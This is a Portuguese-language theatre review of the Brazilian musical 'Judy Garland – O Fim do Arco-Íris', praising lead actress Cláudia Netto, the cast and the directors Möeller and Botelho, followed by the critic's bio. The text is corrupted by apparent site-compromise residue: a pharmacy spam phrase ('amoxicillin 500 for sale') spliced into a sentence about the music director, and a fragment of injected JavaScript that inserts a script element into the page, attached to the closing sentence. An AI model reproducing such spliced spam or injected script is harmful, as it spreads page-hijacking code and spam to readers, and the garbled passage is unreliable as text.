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Nasce uma estrela!

Grande artista com trabalho sólido, a protagonista de Judy Garland – O Fim do Arco-Íris deixa público extasiado: Cláudia! Cláudia! Cláudia!

Este crítico gostaria imensamente de ter conhecimentos em astrofísica ou astronomia – ou seja lá qual a ciência que estuda o fascinante e misterioso mundo das estrelas. Talvez assim pudesse compreender melhor a trajetória ascendente da atriz Cláudia Netto.

Cláudia numa cena do musical

Estrela de primeira grandeza, Cláudia emite ao firmamento sua resplandecente luz desde 1998, quando viveu Dircinha Batista jovem no musical “Somos irmãs”, dirigido por Ney Matogrosso e Cininha de Paula, e chega a um ápice de brilho ofuscante como protagonista da peça Judy Garland – O Fim do Arco-Íris, de autoria do inglês Peter Quilter e com direção da dupla Moëller e Botelho.

Amparada pelo visagismo de Beto Carramanhos e pela direção de movimento de Alonso Barros, Cláudia recria uma Judy Garland de inacreditável verossimilhança e consistência emocional. A impostação vocal, o gestual, a alma e o coração de uma das mais célebres artistas do “show business” norte-americano estão presentes na recriação de Cláudia, que interpreta a diva na fase final de sua vida: do Natal de 1968 à morte seis meses depois.

Não à toa, o texto ganhou vários prêmios na Inglaterra. O autor Quilter consegue imprimir às linhas grande carga dramática, ao mesmo tempo em que foge do clichê da biografia cronológica que menciona incontáveis e cansativos nomes. Concentrada basicamente em um quarto de hotel em Londres às vésperas do Natal, a ação reflete a montanha-russa psicológica que foi a vida de Garland. Desde o início do estrelato em 1939 como a Dorothy de “O Mágico de Oz” até a morte prematura aos 47 anos, sua vida teve dependência química e instabilidade emocional em papéis principais.

É a melhor produção, do mesmo nível da de Londres!”, afirmou um empolgado Quilter em entrevista ao jornal O Globo (20/11/2011). O autor enviou o texto ainda inédito aos encenadores desta montagem, que compraram os direitos antes mesmo da estreia no West End londrino – e a versão da Broadway (EUA) só entrará em cartaz em abril de 2012. Na mesma entrevista, o inglês não poupa elogios à protagonista brasileira: “O público ama as grandes performances. E é o que temos aqui com Cláudia. Ela sua por duas horas, cai no chão, canta, solta piadas”.

Canta mesmo, e magistralmente, pérolas como “For Once in My Life”, “Come Rain or Come Shine” e, claro, “Over the Rainbow”, com o luxuoso acompanhamento dos músicos Marcelo Farias (piano e regência), Whatson Cardozo (clarinete, sax tenor e sax soprano), Ernani Piu-piu (trompete), Fabiano Segalote (trombone), Omar Cavalheiro (baixo) e Márcio Romano (bateria e percussão). As canções encaixam-se perfeitamente à trama, que se passa durante a temporada londrina de Garland na boate Talk of the Town, momento em que a artista estava noiva de seu último marido, Mickey Deans.

Deans é levado à cena por Igor Rickli, jovem ator paranaense que despontou na recente montagem de “Hair”, também encenada por Möeller e Botelho. Apesar de ainda pouco experiente, Rickli consegue se equilibrar razoavelmente entre amor e vilania, além de apresentar “physique du rôle” para o papel (sobre a beleza do ator, Peter Quilter declarou, a O Globo: ”Dá vontade de estapeá-lo e dizer: Como você ousa?”). Em cena também, com garbo, dignidade e experiência cênica de sobra, está Gracindo Júnior como o pianista e amigo Anthony, personagem fictício que agrupa várias pessoas que passaram pela vida de Garland, assim como sintetiza sua legião de fãs gays.

Experiência também é uma palavra que se aplica a Charles Möeller (direção) e Cláudio Botelho amoxicillin 500 for sale (direção musical), artistas responsáveis por uma nova onda de musicais no Brasil e encenadores de grandes sucessos de público e crítica, como a já mencionada Hair (2010), Gypsy (2010), Avenida Q (2009), A Noviça Rebelde (2008), Gloriosa (2008, também de autoria de Quilter), Beatles Num Céu de Diamantes (2008 – e novamente em cartaz no Rio de Janeiro) e 7 – O Musical (2007, com dramaturgia própria e canções de Ed Motta), para citar apenas alguns.

Mais uma vez, a dupla acerta por completo ao imprimir ritmo, humor e alto padrão de qualidade ao espetáculo atual. Merecem destaque também pela excelência do trabalho o iluminador Paulo Cesar Medeiros, o cenógrafo Rogério Falcão e especialmente o figurinista Marcelo Pies.

Do inferno emocional que foram os últimos dias da diva Judy Garland, desabrocha um espetáculo impecável e empolgante, dirigido, interpretado e com apoio técnico irrepreensíveis. Mesmo sem conhecimentos em astrofísica ou astronomia – ou seja lá qual a ciência que estuda o fascinante e misterioso mundo das estrelas –, este crítico sabe que, mesmo estando em momento ápice de resplandecência, o brilho multicolorido e faiscante de Charles Möeller e Cláudio Botelho – e, principalmente, de Cláudia Netto – está muito, muito longe do fim.d.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);

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Fabiano Gonçalves
Publicitário e roteirista (formado no Maurits Binger Film Institute - Amsterdã). Corroteirista do longa O Amor Está no Ar e de programas de TV (novela Chiquititas - 1998/2000). Redator na revista SuiGeneris, no site Escola24horas e no Departamento Nacional do Senac. Um dos fundadores do movimento.com, escreve também sobre televisão para o site teledossie.com.br. - E-mail: fabiano@movimento.com